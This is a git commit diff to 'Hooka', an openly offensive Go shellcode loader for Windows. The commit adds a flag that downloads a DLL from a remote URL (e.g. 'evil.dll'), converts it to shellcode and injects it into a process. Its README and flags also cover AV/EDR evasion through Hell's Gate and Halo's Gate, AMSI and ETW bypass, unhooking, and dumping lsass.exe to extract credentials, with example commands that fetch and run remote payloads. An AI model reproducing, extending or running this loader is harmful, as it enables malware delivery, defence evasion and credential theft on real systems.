remote dll support

This commit is contained in:
d3ext
2023-03-02 19:58:05 +01:00
parent 5482a7f1db
commit 6fc53c9610
5 changed files with 115 additions and 16 deletions
+8 -4
View File
@@ -94,6 +94,8 @@ go build .
dinamically detect hooked functions by EDR
-lsass string
dump lsass.exe process memory into a file to extract credentials (run as admin)
-remote-dll string
remote url where DLL is stored, especify function separated by comma (i.e. http://192.168.1.37/evil.dll,xyz)
-t string
shellcode injection technique: CreateRemoteThread, Fibers, CreateProcess, EarlyBirdApc, UuidFromString (default: random)
-test
@@ -116,14 +118,16 @@ go build .
- If no technique is especified it will use a random one
> Inject shellcode from URL
> Inject shellcode from URL or file
```sh
.\Hooka.exe --url http://192.168.116.37/shellcode.bin
.\Hooka.exe --file shellcode.bin
```
> Inject shellcode from file
> Shellcode reflective dll injection (***sRDI***)
```sh
.\Hooka.exe --file shellcode.bin
.\Hooka.exe --dll evil.dll,xyz
.\Hooka.exe --remote-dll http://192.168.1.37/evil.dll,xyz
```
> Decode shellcode as hex or base64
@@ -134,7 +138,7 @@ go build .
> Use Hell's Gate + Halo's Gate to bypass AVs/EDRs
```sh
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells -t CreateRemoteThread
```
> Unhook function before injecting shellcode
+14
View File
@@ -38,6 +38,20 @@ func ConvertDllToShellcode(dll_file string, func_name string, data string) ([]by
return sc, nil
}
func ConvertDllBytesToShellcode(dll_bytes []byte, func_name string, data string) ([]byte, error) {
var hashFunction []byte
if func_name != "" { // Check if dll function name is default or not
hashFunctionUint32 := hashFunctionName(func_name)
hashFunction = pack(hashFunctionUint32)
} else {
hashFunction = pack(uint32(0x10))
}
sc := ConvertBytes(dll_bytes, hashFunction, []byte(data))
return sc, nil
}
//
//
// Auxiliary functions down here
+5 -3
View File
@@ -10,10 +10,11 @@ import (
"flag"
)
func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, bool, bool, bool, string) {
func ParseFlags() (string, string, string, string, string, bool, bool, int, bool, bool, bool, bool, bool, string) {
var sc_url string
var sc_file string
var dll_file string
var dll_url string
var technique string
var hook_detect bool
var halos bool
@@ -26,7 +27,8 @@ func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool,
var lsass_flag string
//var pid int
flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
flag.StringVar(&sc_url, "url", "", "remote url where shellcode is stored (e.g. http://192.168.1.37/shellcode.bin)")
flag.StringVar(&dll_url, "remote-dll", "", "remote url where DLL is stored, especify function separated by comma (i.e. http://192.168.1.37/evil.dll,xyz)")
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, CreateProcess, EarlyBirdApc, UuidFromString (default: random)")
@@ -42,7 +44,7 @@ func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool,
//flag.IntVar(&pid, "pid", 0, "PID to inject shellcode")
flag.Parse()
return sc_url, sc_file, dll_file, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass_flag // Return all param values
return sc_url, sc_file, dll_file, dll_url, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass_flag // Return all param values
}
+83 -9
View File
@@ -20,35 +20,50 @@ func main() {
var err error
// Parse CLI flags and retrieve values
sc_url, sc_file, dll_file, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass := core.ParseFlags()
sc_url, sc_file, dll_file, dll_url, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass := core.ParseFlags()
l.PrintBanner("Hooka!") // Print script banner with version
l.Println(" by D3Ext - v0.1")
time.Sleep(100 * time.Millisecond)
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (!hook_detect) && (!test_flag) && (lsass == "") { // Enter here if any main flag was especified
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (dll_url == "") && (!hook_detect) && (!test_flag) && (lsass == "") { // Enter here if any main flag was especified
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Parameters missing")
l.Println("[*] Provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks), test program capabilities (--test) or dump lsass.exe process (--lsass)\n")
os.Exit(0)
} else if (sc_url != "") && (sc_file != "") && (dll_file == "") { // Check if both --url and --file flags were passed
} else if (sc_url != "") && (sc_file != "") && (dll_file == "") && (dll_url == "") { // Check if both --url and --file flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --url and --file at the same time!\n")
} else if (sc_url != "") && (sc_file == "") && (dll_file != "") { // Check if both --url and --dll flags were passed
} else if (sc_url != "") && (sc_file == "") && (dll_file != "") && (dll_url == "") { // Check if both --url and --dll flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --url and --dll at the same time!\n")
} else if (sc_url == "") && (sc_file != "") && (dll_file != "") { // Check if both --file and --dll flags were passed
} else if (sc_url == "") && (sc_file != "") && (dll_file != "") && (dll_url == "") { // Check if both --file and --dll flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --file and --dll at the same time!\n")
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") {
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") && (dll_url != "") {
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --dll and --remote-dll at the same time!\n")
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") && (dll_url != "") {
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --url and --remote-dll at the same time!\n")
} else if (sc_url == "") && (sc_file != "") && (dll_file == "") && (dll_url != "") {
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --file and --remote-dll at the same time!\n")
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") && (dll_url == "") {
if (technique != "CreateRemoteThread") && (technique != "CreateProcess") && (technique != "QueueApcThread") && (technique != "UuidFromString") && (technique != "Fibers") && (technique != "") {
l.Println()
@@ -134,7 +149,7 @@ func main() {
time.Sleep(100 * time.Millisecond)
l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_file != "") && (sc_url == "") && (dll_file == "") {
} else if (sc_file != "") && (sc_url == "") && (dll_file == "") && (dll_url == "") {
if (base64_flag) && (hex_flag) { // Check if both flags were passed
l.Println()
@@ -215,7 +230,7 @@ func main() {
time.Sleep(100 * time.Millisecond)
l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") {
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") && (dll_url == "") {
var dll_filename string
var dll_func string
@@ -288,6 +303,63 @@ func main() {
time.Sleep(100 * time.Millisecond)
l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (dll_url != "") {
dll_func := strings.Split(dll_url, ",")[1]
dll_url := strings.Split(dll_url, ",")[0]
time.Sleep(200 * time.Millisecond)
if (dll_func != "") {
l.Println("\n[+] Function to execute: " + dll_func)
} else {
l.Println("\n[+] Function to execute: default")
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Retrieving DLL from url...")
dll_bytes, err := core.GetShellcodeFromUrl(dll_url)
if err != nil { // Handle error
l.Println("[-] An error has ocurred retrieving remote dll!")
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Converting raw bytes to shellcode")
shellcode, err := core.ConvertDllBytesToShellcode(dll_bytes, dll_func, "") // Convert DLL to shellcode
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[+] DLL converted successfully!")
time.Sleep(200 * time.Millisecond)
checkAmsi(amsi)
checkEtw(etw)
checkUnhook(unhook, technique)
time.Sleep(300 * time.Millisecond)
if (technique != "") { // Check if technique has value so it doesn't get printed twice
l.Println("[*] Injecting DLL shellcode using " + technique + " technique")
}
if (halos) {
err = core.InjectHalos(shellcode, technique)
if err != nil {
l.Fatal(err)
}
} else {
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
if err != nil { // Handle error
l.Fatal(err)
}
}
time.Sleep(200 * time.Millisecond)
l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (hook_detect) { // Enter here if --hooks flag was especified
l.Println("\n[*] Detecting hooked functions...")
@@ -322,6 +394,8 @@ func main() {
checkEtw(etw)
checkUnhook(unhook, technique)
if (technique != "") {
l.Println("[*] Injecting shellcode using " + technique + " technique")
}
@@ -417,8 +491,8 @@ func checkUnhook(unhook int, technique string) {
l.Fatal(err)
}
l.Println("[+] Functions have been unhooked!")
}
}
+5
View File
@@ -5,3 +5,8 @@ import "github.com/D3Ext/Hooka/core"
func ConvertDllToShellcode(dll_file string, dll_func string, func_args string) ([]byte, error) {
return core.ConvertDllToShellcode(dll_file, dll_func, func_args)
}
func ConvertDllBytesToShellcode(dll_bytes []byte, dll_func string, func_args string) ([]byte, error) {
return core.ConvertDllBytesToShellcode(dll_bytes, dll_func, func_args)
}